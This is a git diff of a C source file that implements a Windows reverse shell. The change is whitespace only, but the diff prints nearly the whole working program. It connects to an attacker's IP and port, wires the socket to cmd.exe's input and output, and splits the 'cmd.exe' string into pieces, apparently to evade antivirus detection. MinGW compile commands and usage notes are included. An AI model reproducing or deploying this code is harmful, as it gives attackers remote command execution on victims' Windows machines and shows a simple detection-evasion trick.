diff --git a/windows/revshell.c b/windows/revshell.c
index c9606a5..dbf3e2c 100644
--- a/windows/revshell.c
+++ b/windows/revshell.c
@@ -4,12 +4,12 @@
  *
  * Compilation:
  * - x64
- * 		$ x86_64-w64-mingw32-gcc revshell.c -ffunction-sections -fdata-sections -s -Os -o revshell.exe -Wl,--gc-sections -lws2_32
+ *      $ x86_64-w64-mingw32-gcc revshell.c -ffunction-sections -fdata-sections -s -Os -o revshell.exe -Wl,--gc-sections -lws2_32
  * - x86
- * 		$ i686-w64-mingw32-gcc revshell.c -ffunction-sections -fdata-sections -s -Os -o revshell.exe -Wl,--gc-sections -lws2_32 
+ *      $ i686-w64-mingw32-gcc revshell.c -ffunction-sections -fdata-sections -s -Os -o revshell.exe -Wl,--gc-sections -lws2_32 
  *
  * Usage:
- * 		cmd> revshell <IP> <PORT> &
+ *      cmd> revshell <IP> <PORT> &
  *
  * Where:
  *   - ip - remote attacker's server IP
@@ -21,7 +21,7 @@
 #include <stdio.h>
 
 #ifdef _MSC_VER
-#	pragma comment(lib, "ws2_32")
+#   pragma comment(lib, "ws2_32")
 #endif
 
 int main(int argc, char *argv[]) 
@@ -33,38 +33,38 @@ int main(int argc, char *argv[])
 
     if (argc < 3)
     {
-		return 0;
-	}
+        return 0;
+    }
 
-	const char *hostname = argv[1];
-	unsigned int port = atoi(argv[2]);
+    const char *hostname = argv[1];
+    unsigned int port = atoi(argv[2]);
 
-	WSAStartup(MAKEWORD(2,2), &wsaData);
-	wsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
+    WSAStartup(MAKEWORD(2,2), &wsaData);
+    wsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
 
     struct hostent *host = gethostbyname(hostname);
-	strcpy(saddr, inet_ntoa(*((struct in_addr *)host->h_addr)));
+    strcpy(saddr, inet_ntoa(*((struct in_addr *)host->h_addr)));
     
-	sin.sin_family = AF_INET;
-	sin.sin_port = htons(port);
-	sin.sin_addr.s_addr = inet_addr(saddr);
+    sin.sin_family = AF_INET;
+    sin.sin_port = htons(port);
+    sin.sin_addr.s_addr = inet_addr(saddr);
     
-	WSAConnect(wsock, (SOCKADDR*)&sin, sizeof(sin), NULL, NULL, NULL, NULL);
-	if (WSAGetLastError() == 0) 
+    WSAConnect(wsock, (SOCKADDR*)&sin, sizeof(sin), NULL, NULL, NULL, NULL);
+    if (WSAGetLastError() == 0) 
     {
-		STARTUPINFO sinfo = {0};
-		PROCESS_INFORMATION procinfo = {0};
+        STARTUPINFO sinfo = {0};
+        PROCESS_INFORMATION procinfo = {0};
     
-		sinfo.cb = sizeof(sinfo);
-		sinfo.dwFlags = STARTF_USESTDHANDLES;
-		sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)wsock;
+        sinfo.cb = sizeof(sinfo);
+        sinfo.dwFlags = STARTF_USESTDHANDLES;
+        sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)wsock;
 
-		char *cmd[4] = { "cm", "d.e", "x", "e" };
-		char command[8] = "";
-		snprintf(command, sizeof(command), "%s%s%s%s", cmd[0], cmd[1], cmd[2], cmd[3]);
+        char *cmd[4] = { "cm", "d.e", "x", "e" };
+        char command[8] = "";
+        snprintf(command, sizeof(command), "%s%s%s%s", cmd[0], cmd[1], cmd[2], cmd[3]);
 
-		CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &procinfo);
-	}    
+        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &procinfo);
+    }    
 
     return 0;
 }